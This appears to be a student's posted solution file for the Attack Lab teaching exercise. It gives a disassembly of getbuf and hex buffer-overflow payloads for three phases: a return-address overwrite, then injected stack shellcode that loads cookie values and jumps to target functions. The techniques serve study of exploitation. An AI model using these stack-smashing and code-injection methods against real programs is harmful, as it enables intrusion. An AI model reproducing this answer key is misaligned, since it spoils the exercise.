-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathattacklab_level1
41 lines (36 loc) · 1.15 KB
/
attacklab_level1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
phase1:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
c0 17 40 00 00 00 00 00
phase2:
48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
68 ec 17 40 00 pushq $0x4017ec
c3 retq
48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
78 dc 61 55 00 00 00 00
phase3:
48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
68 fa 18 40 00 pushq $0x4018fa
c3 retq
48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13 13
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00